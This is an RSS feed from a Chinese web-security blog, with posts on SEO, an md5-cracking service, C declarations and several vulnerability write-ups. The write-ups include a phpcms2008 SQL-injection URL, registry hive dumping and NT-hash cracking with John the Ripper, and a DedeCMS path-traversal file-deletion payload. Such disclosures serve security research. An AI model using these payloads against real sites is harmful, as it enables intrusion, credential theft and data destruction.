<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0x50sec.org</title>
	<atom:link href="http://www.0x50sec.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0x50sec.org</link>
	<description>关注Web安全</description>
	<lastBuildDate>Fri, 18 May 2012 10:10:33 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>phpcms2008 SQL注射漏洞0day</title>
		<link>http://www.0x50sec.org/phpcms2008-sql-injection-0day/</link>
		<comments>http://www.0x50sec.org/phpcms2008-sql-injection-0day/#comments</comments>
		<pubDate>Wed, 09 May 2012 07:28:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[漏洞代码]]></category>
		<category><![CDATA[phpcms]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1302</guid>
		<description><![CDATA[作者: c4rp3nt3r@0x50sec.org 主页: www.0x50sec.org www.cli5.com phpcms 企业黄页模块由于参数未过滤存在SQL注射漏洞,允许攻击者执行SQL语句.0day是幌子,鸡肋是真的,由于影响比较小,不会造成什么危害,N久之前发现的鸡肋,发出来给博客滥竽充数啦. 今天早上还发现别的程序的漏洞,话说以后要找某程序的漏洞,最快的办法就是审计他们最新的补丁. 如有转载本站原创文章的,还请保留作者及原文链接. 直接上图吧. http://bt/phpcms2008/phpcms/yp/product.php?catid=1&#38;areaname=555%27%20and%20extractvalue%281,concat%280x09,%28version%28%29%29%29%29%20and%20%271%27=%271]]></description>
			<content:encoded><![CDATA[<p>作者: c4rp3nt3r@0x50sec.org</p>
<p>主页: www.0x50sec.org www.cli5.com</p>
<p>phpcms 企业黄页模块由于参数未过滤存在SQL注射漏洞,允许攻击者执行SQL语句.0day是幌子,鸡肋是真的,由于影响比较小,不会造成什么危害,N久之前发现的鸡肋,发出来给博客滥竽充数啦.</p>
<p>今天早上还发现别的程序的漏洞,话说以后要找某程序的漏洞,最快的办法就是审计他们最新的补丁.</p>
<p>如有转载本站原创文章的,还请保留作者及原文链接.</p>
<p>直接上图吧.<br />
<code></code></p>
<pre class="brush: text; gutter: true">http://bt/phpcms2008/phpcms/yp/product.php?catid=1&amp;areaname=555%27%20and%20extractvalue%281,concat%280x09,%28version%28%29%29%29%29%20and%20%271%27=%271</pre>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/phpcms2008.png"><img class="aligncenter  wp-image-1303" title="phpcms2008" src="http://www.0x50sec.org/wp-content/uploads/2012/05/phpcms2008.png" alt="" width="793" height="558" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/phpcms2008-sql-injection-0day/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google为本站生成了sitelinks</title>
		<link>http://www.0x50sec.org/google%e4%b8%ba%e6%9c%ac%e7%ab%99%e7%94%9f%e6%88%90%e4%ba%86sitelinks/</link>
		<comments>http://www.0x50sec.org/google%e4%b8%ba%e6%9c%ac%e7%ab%99%e7%94%9f%e6%88%90%e4%ba%86sitelinks/#comments</comments>
		<pubDate>Mon, 07 May 2012 04:59:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[新闻八卦]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1290</guid>
		<description><![CDATA[早上听说Google在昨天更新了PR,查了一下果然如此,三个网站,两个分别从PR6,PR5降为了0,0x50sec.org则从PR5降到了PR4.也不是很意外,前两个是换域名用301做了重定向.虽然PR没了但是排名都还在,估计一个月会慢慢恢复PR. 最近一直很悲剧,前几天godaddy的帐号被锁定,几个域名废了,难道今天时来运转?早上打开Google,随便用关键字0x50sec.org搜了一下,发现Google为本站生成了sitelinks,尽管除了我自己,几乎没有人用0x50sec.org这个关键词做搜索,但还是挺高兴的. 发个图片记录一下. &#160; &#160; &#160; &#160; &#160;]]></description>
			<content:encoded><![CDATA[<p>早上听说Google在昨天更新了PR,查了一下果然如此,三个网站,两个分别从PR6,PR5降为了0,0x50sec.org则从PR5降到了PR4.也不是很意外,前两个是换域名用301做了重定向.虽然PR没了但是排名都还在,估计一个月会慢慢恢复PR.</p>
<p>最近一直很悲剧,前几天godaddy的帐号被锁定,几个域名废了,难道今天时来运转?早上打开Google,随便用关键字0x50sec.org搜了一下,发现Google为本站生成了sitelinks,尽管除了我自己,几乎没有人用0x50sec.org这个关键词做搜索,但还是挺高兴的.</p>
<p>发个图片记录一下.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/0x50sec-sitelink.png"><img class="aligncenter  wp-image-1291" title="0x50sec-sitelink" src="http://www.0x50sec.org/wp-content/uploads/2012/05/0x50sec-sitelink.png" alt="" width="836" height="469" /></a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/google%e4%b8%ba%e6%9c%ac%e7%ab%99%e7%94%9f%e6%88%90%e4%ba%86sitelinks/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>留一个被任意人黑掉的txt页面</title>
		<link>http://www.0x50sec.org/hacked-by-whatever/</link>
		<comments>http://www.0x50sec.org/hacked-by-whatever/#comments</comments>
		<pubDate>Sun, 06 May 2012 05:19:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[新闻八卦]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1283</guid>
		<description><![CDATA[昨天某“国际黑客”替我宣传网站,如下图。提起“国际黑客”，就想起一个电影明星“国际章”，发现国际黑跟国际章之间的共同点就是比较具有娱乐性，像著名国际黑客组织“匿名者”也是如此。 后来想起，邪恶八进制几年前弄过一个有趣的txt文件，无论提交什么xxx.txt,都会显示 “hacked by xxx”,后面还有md5加密的字符串。一时间蒙蔽了不少人，很多人就传被XXX黑了，又被YYY黑了。这玩意是怎么实现的呢？其实实现起来非常简单只要一个简单的php脚本就搞定了。 &#160; &#60;?php //hacked-by-whatever.php echo &#8216;Hacked by &#8216;.$_GET['hacker'].&#8217;&#60;br/&#62;&#8217;; echo md5($_GET['hacker']); ?&#62; 之后再写一个.htaccess进行rewrite &#160; &#60;IfModule mod_rewrite.c&#62; RewriteEngine On RewriteRule ^([_a-zA-Z0-9-]+)*\.txt$ hacked-by-whatever.php?hacker=$1 [L] &#60;/IfModule&#62; &#160; &#160;]]></description>
			<content:encoded><![CDATA[<p>昨天某“国际黑客”替我宣传网站,如下图。提起“国际黑客”，就想起一个电影明星“国际章”，发现国际黑跟国际章之间的共同点就是比较具有娱乐性，像著名国际黑客组织“匿名者”也是如此。</p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/11.png"><img class="aligncenter size-full wp-image-1284" title="hacked by whatever" src="http://www.0x50sec.org/wp-content/uploads/2012/05/11.png" alt="" width="731" height="439" /></a></p>
<p>后来想起，邪恶八进制几年前弄过一个有趣的txt文件，无论提交什么xxx.txt,都会显示 “hacked by xxx”,后面还有md5加密的字符串。一时间蒙蔽了不少人，很多人就传被XXX黑了，又被YYY黑了。这玩意是怎么实现的呢？其实实现起来非常简单只要一个简单的php脚本就搞定了。</p>
<p>&nbsp;</p>
<blockquote><p>&lt;?php</p>
<p>//hacked-by-whatever.php</p>
<p>echo &#8216;Hacked by &#8216;.$_GET['hacker'].&#8217;&lt;br/&gt;&#8217;;<br />
echo md5($_GET['hacker']);</p>
<p>?&gt;</p></blockquote>
<p>之后再写一个.htaccess进行rewrite</p>
<p>&nbsp;</p>
<blockquote><p>&lt;IfModule mod_rewrite.c&gt;<br />
RewriteEngine On<br />
RewriteRule ^([_a-zA-Z0-9-]+)*\.txt$ hacked-by-whatever.php?hacker=$1 [L]<br />
&lt;/IfModule&gt;</p>
<p>&nbsp;</p></blockquote>
<p style="text-align: center;"><a href="http://www.0x50sec.org/wp-content/uploads/2012/05/0x50sec.org-has-been-hacked.jpg"><img class="size-full wp-image-1285 aligncenter" title="0x50sec.org has been hacked" src="http://www.0x50sec.org/wp-content/uploads/2012/05/0x50sec.org-has-been-hacked.jpg" alt="" width="678" height="386" /></a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/hacked-by-whatever/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>使用John the Ripper破解Syskey加密的SAM</title>
		<link>http://www.0x50sec.org/%e4%bd%bf%e7%94%a8john-the-ripper%e7%a0%b4%e8%a7%a3syskey%e5%8a%a0%e5%af%86%e7%9a%84sam/</link>
		<comments>http://www.0x50sec.org/%e4%bd%bf%e7%94%a8john-the-ripper%e7%a0%b4%e8%a7%a3syskey%e5%8a%a0%e5%af%86%e7%9a%84sam/#comments</comments>
		<pubDate>Sat, 05 May 2012 09:51:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[John the Ripper]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1280</guid>
		<description><![CDATA[其实就是使用John the Ripper破解NT hash,得多多收集整理些文章. 内网域渗透的时候,有时候会遇到管理员对windows主机的SAM进行了Syskey加密防护,或者一些杀毒软件比如360安全卫士对一些工具进行了防护,也可以通过导出注册表文件来破解. 在管理员使用syskey.exe对sam加密的情况下,我们可以将注册表导出sam 和system 为hive文件,然后bkhive和samdump2将注册表文件导出为john可以识别的格式. 导出注册表文件: reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive 然后使用bkhive和samdump2将hive注册表生成hash.这两个工具貌似是Backtrack自带的,导出的hash,不是完全正确的ntml hash,只能破解NT hash. root@bt:~/h4ck/paper# bkhive system.hive keys bkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncuomo@studenti.unina.it Root Key : ###TROU.HYV Default ControlSet: 008 Bootkey: f7a07fceab2846a79f30d8a9a723b733 root@bt:~/h4ck/paper# samdump2 sam.hive keys &#62; hashes samdump2 1.1.1 by [...]]]></description>
			<content:encoded><![CDATA[<p>其实就是使用John the Ripper破解NT hash,得多多收集整理些文章.<br />
内网域渗透的时候,有时候会遇到管理员对windows主机的SAM进行了Syskey加密防护,或者一些杀毒软件比如360安全卫士对一些工具进行了防护,也可以通过导出注册表文件来破解.</p>
<p>在管理员使用syskey.exe对sam加密的情况下,我们可以将注册表导出sam 和system 为hive文件,然后bkhive和samdump2将注册表文件导出为john可以识别的格式.</p>
<p>导出注册表文件:</p>
<pre>reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive</pre>
<p>然后使用bkhive和samdump2将hive注册表生成hash.这两个工具貌似是Backtrack自带的,导出的hash,不是完全正确的ntml hash,只能破解NT hash.</p>
<p><span id="more-1280"></span></p>
<pre>root@bt:~/h4ck/paper# bkhive system.hive keys
bkhive 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : ###TROU.HYV
Default ControlSet: 008
Bootkey: f7a07fceab2846a79f30d8a9a723b733

root@bt:~/h4ck/paper# samdump2 sam.hive keys &gt; hashes
samdump2 1.1.1 by Objectif Securite

http://www.objectif-securite.ch

original author: ncuomo@studenti.unina.it

Root Key : SAM
root@bt:~/h4ck/paper# cat hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a62be99297c2b49915f05cb727c5da11:::
Guest(current):501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant(current):1000:cd6167e7ee465ccc9d39d3f1636998b2:b322045c2ad78e0d17efc814c06a67a3:::</pre>
<p>一般我们直接访问 http://www.objectif-securite.ch/en/products.php 在线查询hash,最近好像在线解密下线了.<br />
如果hash查不出来可以用john破解之,这里破解的格式要选NT hash.</p>
<pre>root@bt:~/h4ck/paper# cd /pentest/passwords/john/
root@bt:/pentest/passwords/john# ./john -w:/root/h4ck/crk/wordlist/pass.lst /root/h4ck/paper/hashes -format:NT
Loaded 6 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])
c4rp3nt3r       (Administrator)</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e4%bd%bf%e7%94%a8john-the-ripper%e7%a0%b4%e8%a7%a3syskey%e5%8a%a0%e5%af%86%e7%9a%84sam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>本站md5破解重新上线</title>
		<link>http://www.0x50sec.org/%e6%9c%ac%e7%ab%99md5%e7%a0%b4%e8%a7%a3%e9%87%8d%e6%96%b0%e4%b8%8a%e7%ba%bf/</link>
		<comments>http://www.0x50sec.org/%e6%9c%ac%e7%ab%99md5%e7%a0%b4%e8%a7%a3%e9%87%8d%e6%96%b0%e4%b8%8a%e7%ba%bf/#comments</comments>
		<pubDate>Fri, 04 May 2012 09:25:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[新闻八卦]]></category>
		<category><![CDATA[md5破解]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1275</guid>
		<description><![CDATA[前段时间,仅仅提供了数据库查询,昨天重新加入了字典破解的方式,可破解的字典跟原来一样. 今天在不改变破解范围的同时,放弃了字典破解方式,采用所谓”彩虹表方式”,我也没研究过彩虹表破解的代码,自己按照自己的理解写了一个非常简陋的小程序,但是效果非常不错,32位md5和16位md5 hash的破解速度提高了至少5-10倍. 同时修改了md5破解首页的几个404错误,首页加载时间从5-7秒减少到2秒内. md5破解完全免费开放,增加了每天每ip的查询限制,去掉了收费功能. 计划增加一倍数据,努力打造一个最好的免费md5破解站. &#160;]]></description>
			<content:encoded><![CDATA[<p>前段时间,仅仅提供了数据库查询,昨天重新加入了字典破解的方式,可破解的字典跟原来一样.</p>
<p>今天在不改变破解范围的同时,放弃了字典破解方式,采用所谓”彩虹表方式”,我也没研究过彩虹表破解的代码,自己按照自己的理解写了一个非常简陋的小程序,但是效果非常不错,32位md5和16位md5 hash的破解速度提高了至少5-10倍.</p>
<p>同时修改了md5破解首页的几个404错误,首页加载时间从5-7秒减少到2秒内.</p>
<p>md5破解完全免费开放,增加了每天每ip的查询限制,去掉了收费功能.</p>
<p>计划增加一倍数据,努力打造一个最好的免费md5破解站.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e6%9c%ac%e7%ab%99md5%e7%a0%b4%e8%a7%a3%e9%87%8d%e6%96%b0%e4%b8%8a%e7%ba%bf/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>理解C语言声明的优先级规则</title>
		<link>http://www.0x50sec.org/%e7%90%86%e8%a7%a3c%e8%af%ad%e8%a8%80%e5%a3%b0%e6%98%8e%e7%9a%84%e4%bc%98%e5%85%88%e7%ba%a7%e8%a7%84%e5%88%99/</link>
		<comments>http://www.0x50sec.org/%e7%90%86%e8%a7%a3c%e8%af%ad%e8%a8%80%e5%a3%b0%e6%98%8e%e7%9a%84%e4%bc%98%e5%85%88%e7%ba%a7%e8%a7%84%e5%88%99/#comments</comments>
		<pubDate>Thu, 03 May 2012 06:09:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>
		<category><![CDATA[C语言]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1270</guid>
		<description><![CDATA[节选《自C专家编程》 A  声明从它的名字开始读取，然后按照优先级顺序开始读取 B 优先级从高到低依次是 B.1 声明中被括号括起来的部分 B.2 后缀操作符： 括号()表示这是一个函数。方括号[]表示这是一个数组。 B.3 前缀操作符： 星号 * 表示 “指向 &#8230;的指针” C 如果 const和(或)volatile关键字的后面紧跟类型说明符(如int ,long等 )那么它作用于类型说明符。在其它情况下const或volatile作用域它左边紧邻的星号指针 &#8212;&#8212;&#8212;&#8212;&#8212;&#8211; 用优先级规则分析C语言声明一例： char * const *(*next)(); &#160; A 变量名”next”直接被括号扩住 B.1 所以括号里的东西为一个整体，得出next是一个指向&#8230;的指针 B 然后考虑括号外面的东西，在星号前缀和括号后缀之间作出选择 B.2 规则告诉我们优先级较高的是右边的函数括号，所以得出next是一个函数指针，指向一个返回&#8230;的函数 B.3 然后处理前缀*得出指针所指的内容 C 最后把”char * const”解释为指向字符的常量指针。 把上面的结果加以概括，这个声明表示”next是一个指针，它指向一个函数，该函数返回另一个指针，该指针指向一个类型为char的常量指针，大功告成。 &#160;]]></description>
			<content:encoded><![CDATA[<p>节选《自C专家编程》</p>
<p>A  声明从它的名字开始读取，然后按照优先级顺序开始读取</p>
<p>B 优先级从高到低依次是</p>
<p>B.1 声明中被括号括起来的部分</p>
<p>B.2 后缀操作符：</p>
<p>括号()表示这是一个函数。方括号[]表示这是一个数组。</p>
<p>B.3 前缀操作符： 星号 * 表示 “指向 &#8230;的指针”</p>
<p>C 如果 const和(或)volatile关键字的后面紧跟类型说明符(如int ,long等 )那么它作用于类型说明符。在其它情况下const或volatile作用域它左边紧邻的星号指针</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>用优先级规则分析C语言声明一例：</p>
<p>char * const *(*next)();</p>
<p>&nbsp;</p>
<p>A 变量名”next”直接被括号扩住</p>
<p>B.1 所以括号里的东西为一个整体，得出next是一个指向&#8230;的指针</p>
<p>B 然后考虑括号外面的东西，在星号前缀和括号后缀之间作出选择</p>
<p>B.2 规则告诉我们优先级较高的是右边的函数括号，所以得出next是一个函数指针，指向一个返回&#8230;的函数</p>
<p>B.3 然后处理前缀*得出指针所指的内容</p>
<p>C 最后把”char * const”解释为指向字符的常量指针。</p>
<p>把上面的结果加以概括，这个声明表示”next是一个指针，它指向一个函数，该函数返回另一个指针，该指针指向一个类型为char的常量指针，大功告成。</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e7%90%86%e8%a7%a3c%e8%af%ad%e8%a8%80%e5%a3%b0%e6%98%8e%e7%9a%84%e4%bc%98%e5%85%88%e7%ba%a7%e8%a7%84%e5%88%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[zz]渗透之道——基于BackTrack的渗透测试实例系列</title>
		<link>http://www.0x50sec.org/%e6%b8%97%e9%80%8f%e4%b9%8b%e9%81%93-%e5%9f%ba%e4%ba%8ebacktrack%e7%9a%84%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e5%ae%9e%e4%be%8b%e7%b3%bb%e5%88%97/</link>
		<comments>http://www.0x50sec.org/%e6%b8%97%e9%80%8f%e4%b9%8b%e9%81%93-%e5%9f%ba%e4%ba%8ebacktrack%e7%9a%84%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e5%ae%9e%e4%be%8b%e7%b3%bb%e5%88%97/#comments</comments>
		<pubDate>Thu, 03 May 2012 01:08:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[新闻八卦]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1255</guid>
		<description><![CDATA[来源:http://akast.blog.com/?p=41 作者:[N.S.T] 在生活中不论我们做什么，都需要一种精神上的寄托，所以我们有了不同的信仰，hack也一样。 何为渗透？鼓其勇，练其力，心要决、耐、细，往你欲之地，取你望之物，所谓之渗透之道也。 BackTrack中文可谓之“回溯”，它的基本思想是：从问题的某一种状态（初始状态）出发，搜索从这种状态出发所能达到的所有“状态”，当一条路走到“尽头”的时候（不能 再前进），再后退一步或若干步，从另一种可能“状态”出发，继续搜索，直到所有的“路径”（状态）都试探过。这种不断前进、不断“回溯”寻找解的方法，就称作“回溯法”， 回溯采用试错的思想，它尝试分步的去解决一个问题。在分步解决问题的过程中，当它通过尝试发现现有的分步答案不能得到有效的正确的解答的时候，它将取消上一步甚至是上几步的计算，再通过其它的可能的分步解答再次尝试寻找问题的答案。回溯法通常用最简单的递归方法来实现，在反复重复上述的步骤后可能出现两种情况： 一、找到一个可能存在的正确的答案， 二、在尝试了所有可能的分步方法后宣告该问题没有答案 三、在最坏的情况下，回溯会导致一次复杂度为指数时间的计算。 这也就是渗透之道。So this is BackTrack，and never say give up，just hacking！窗外的世界更加美丽，欢迎大家来到BackTrack世界。也许hack是一个没有尽头的世界，我们的生活就是一直在BackTrack中轮回。]]></description>
			<content:encoded><![CDATA[<p>来源:http://akast.blog.com/?p=41<br />
作者:[N.S.T]<br />
      在生活中不论我们做什么，都需要一种精神上的寄托，所以我们有了不同的信仰，hack也一样。<br />
      何为渗透？鼓其勇，练其力，心要决、耐、细，往你欲之地，取你望之物，所谓之渗透之道也。<br />
      BackTrack中文可谓之“回溯”，它的基本思想是：从问题的某一种状态（初始状态）出发，搜索从这种状态出发所能达到的所有“状态”，当一条路走到“尽头”的时候（不能 再前进），再后退一步或若干步，从另一种可能“状态”出发，继续搜索，直到所有的“路径”（状态）都试探过。这种不断前进、不断“回溯”寻找解的方法，就称作“回溯法”，<br />
      回溯采用试错的思想，它尝试分步的去解决一个问题。在分步解决问题的过程中，当它通过尝试发现现有的分步答案不能得到有效的正确的解答的时候，它将取消上一步甚至是上几步的计算，再通过其它的可能的分步解答再次尝试寻找问题的答案。回溯法通常用最简单的递归方法来实现，在反复重复上述的步骤后可能出现两种情况：<br />
一、找到一个可能存在的正确的答案，<br />
二、在尝试了所有可能的分步方法后宣告该问题没有答案<br />
三、在最坏的情况下，回溯会导致一次复杂度为指数时间的计算。<br />
      这也就是渗透之道。So this is BackTrack，and never say give up，just hacking！窗外的世界更加美丽，欢迎大家来到BackTrack世界。也许hack是一个没有尽头的世界，我们的生活就是一直在BackTrack中轮回。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e6%b8%97%e9%80%8f%e4%b9%8b%e9%81%93-%e5%9f%ba%e4%ba%8ebacktrack%e7%9a%84%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e5%ae%9e%e4%be%8b%e7%b3%bb%e5%88%97/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DedeCms 任意文件删除漏洞</title>
		<link>http://www.0x50sec.org/dedecms-%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.0x50sec.org/dedecms-%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Wed, 02 May 2012 06:17:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[文件删除]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1249</guid>
		<description><![CDATA[1.DedeCms &#60;= V57 (最新) 任意文件删除漏洞 利用条件: magic_quotes_gpc=Off 可删除任意后缀文件 magic_quotes_gpc=On 可删除jpg&#124;gif&#124;png后缀文件 PHP版本要求支持空字节截断 ./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码，用于修改用户头像和空间logo等图片。 但是程序对旧的的图片路径过滤不严(其实这个参数根本就没有必要让用户提交)，从而导致用户可以删除任意文件或者删除任意图片。 此类漏洞网上早就爆出，但并不是只能删除jpg&#124;gif&#124;png类图片文件，在PHP版本支持空字节截断，且magic_quotes_gpc=Off的时候， 可以删除任意类型的文件。 以edit_face.php为例,这个文件还有一个SQL注射漏洞,可以导致管理员密码泄漏,详见 《DedeCMS几个最新bug分析》 // ./member/edit_face.php &#60;?php require_once(dirname(__FILE__)."/config.php"); //这里是关键，将影响漏洞的利用 //config.php的前两句很杯具，如下 //require_once(dirname(__FILE__).'/../include/common.inc.php'); //require_once(DEDEINC.'/filter.inc.php');  //这里造成变量覆盖 CheckRank(0,0); //检查用户注册情况 $menutype = 'config'; if(!isset($dopost)) { $dopost = ''; } if(!isset($backurl)) { $backurl = 'edit_face.php'; } if($dopost=='save') { $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml-&#62;M_ID; if(!preg_match("#^".$userdir."#", [...]]]></description>
			<content:encoded><![CDATA[<p>1.DedeCms &lt;= V57 (最新) 任意文件删除漏洞<br />
利用条件:<br />
magic_quotes_gpc=Off 可删除任意后缀文件<br />
magic_quotes_gpc=On 可删除jpg|gif|png后缀文件<br />
PHP版本要求支持空字节截断</p>
<p>./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码，用于修改用户头像和空间logo等图片。<br />
但是程序对旧的的图片路径过滤不严(其实这个参数根本就没有必要让用户提交)，从而导致用户可以删除任意文件或者删除任意图片。<br />
此类漏洞网上早就爆出，但并不是只能删除jpg|gif|png类图片文件，在PHP版本支持空字节截断，且magic_quotes_gpc=Off的时候，<br />
可以删除任意类型的文件。</p>
<p>以edit_face.php为例,这个文件还有一个SQL注射漏洞,可以导致管理员密码泄漏,详见 <a href="http://www.0x50sec.org/dedecms%e5%87%a0%e4%b8%aa%e6%9c%80%e6%96%b0bug%e5%88%86%e6%9e%90/">《DedeCMS几个最新bug分析》</a></p>
<pre>// ./member/edit_face.php
&lt;?php
require_once(dirname(__FILE__)."/config.php");	//这里是关键，将影响漏洞的利用
//config.php的前两句很杯具，如下
//require_once(dirname(__FILE__).'/../include/common.inc.php');
//require_once(DEDEINC.'/filter.inc.php');  //这里造成变量覆盖

CheckRank(0,0);		//检查用户注册情况
$menutype = 'config';

if(!isset($dopost))
{
    $dopost = '';
}
if(!isset($backurl))
{
    $backurl = 'edit_face.php';
}
if($dopost=='save')
{
    $maxlength = $cfg_max_face * 1024;
    $userdir = $cfg_user_dir.'/'.$cfg_ml-&gt;M_ID;

    if(!preg_match("#^".$userdir."#", $oldface))
    {
        $oldface = '';
    }

    if(is_uploaded_file($face))
    {
  		//绕过上面乱七八糟的判断语句使程序流程进入这里
        if(@filesize($_FILES['face']['tmp_name']) &gt; $maxlength)
        {
            ShowMsg("你上传的头像文件超过了系统限制大小：{$cfg_max_face} K！", '-1');
            exit();
        }
		//删除旧图片（防止文件扩展名不同，如：原来的是gif，后来的是jpg）
        if(preg_match("#.(jpg|gif|png)$#i", $oldface) &amp;&amp; file_exists($cfg_basedir.$oldface))
        {
        	/*这里只判断了最后是否是.(jpg|gif|png)结尾以及文件是否存在，没有过滤 '..'等恶意字符，可返回任意目录删除
                绕过上面的正则和文件是否存在的判断
        	如果magic_quotes_gpc=Off因为上面存在的漏洞_RunMagicQuotes函数成了纸老虎
        	提交oldface=/f/uploads/userup/6/../../../index.php%00.png
        	可删除 网站根目录下的 index.php

        	*/
        	@unlink($cfg_basedir.$oldface);  //这里删除文件
        }
        //上传新工图片
        $face = MemberUploads('face', $oldface, $cfg_ml-&gt;M_ID, 'image', 'myface', 180, 180);
    }</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/dedecms-%e4%bb%bb%e6%84%8f%e6%96%87%e4%bb%b6%e5%88%a0%e9%99%a4%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DedeCMS几个最新bug分析</title>
		<link>http://www.0x50sec.org/dedecms%e5%87%a0%e4%b8%aa%e6%9c%80%e6%96%b0bug%e5%88%86%e6%9e%90/</link>
		<comments>http://www.0x50sec.org/dedecms%e5%87%a0%e4%b8%aa%e6%9c%80%e6%96%b0bug%e5%88%86%e6%9e%90/#comments</comments>
		<pubDate>Wed, 02 May 2012 03:31:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[DEDECMS]]></category>
		<category><![CDATA[SQL注射]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1240</guid>
		<description><![CDATA[前言:本来是投稿到黑客防线想换几块零花钱的,结果3月投的稿子,编辑回复说拟发4期,4月末咨询说,那”两天会发布”,结果今天5月2号都没发布,索性发出来算了. 本文0x50sec.org原创,版权所有,鄙视修改原文内容的转载. 作者 c4rp3nt3r 邮箱 c4rp3nt3r@0x50sec.org DedeCms作为国内使用非常广泛的CMS系统,今年来大大小小的安全漏洞爆出来不少.像这种使用非常广泛的Web代码如果出现严重漏洞可能会比一般的缓冲区溢出漏洞造成的破坏更大,其中2011年8月左右爆出的代码执行漏洞最为给力的一个.其后DedeCms很快打了补丁,有一些安全漏洞逐渐被披露,但仍有一些保躺在某些硬盘里.拜读了上一期黑防DedeCms漏洞的文章,也想把之前我找的几个DedeCms的bug与大家分享. 变量覆盖漏洞真的修补完了吗? 2011年8月爆出的Dedecms代码执行漏洞，至今为止，Dedecms还没有完全修补，在某些情况下攻击者仍然可以秒杀对方的服务器。 让我们先看一下Dedecms的 include/common.inc.php &#60;?php //    include/common.inc.php 37 function _RunMagicQuotes(&#38;$svar)        //有些情况下这个函数也是一个纸老虎 38 { 39     if(!get_magic_quotes_gpc()) 40     { 41         if( is_array($svar) ) 42         { 43             foreach($svar as $_k =&#62; $_v) $svar[$_k] = _RunMagicQuotes($_v); 44         } 45         else 46         { 47             if( strlen($svar)&#62;0 &#38;&#38; 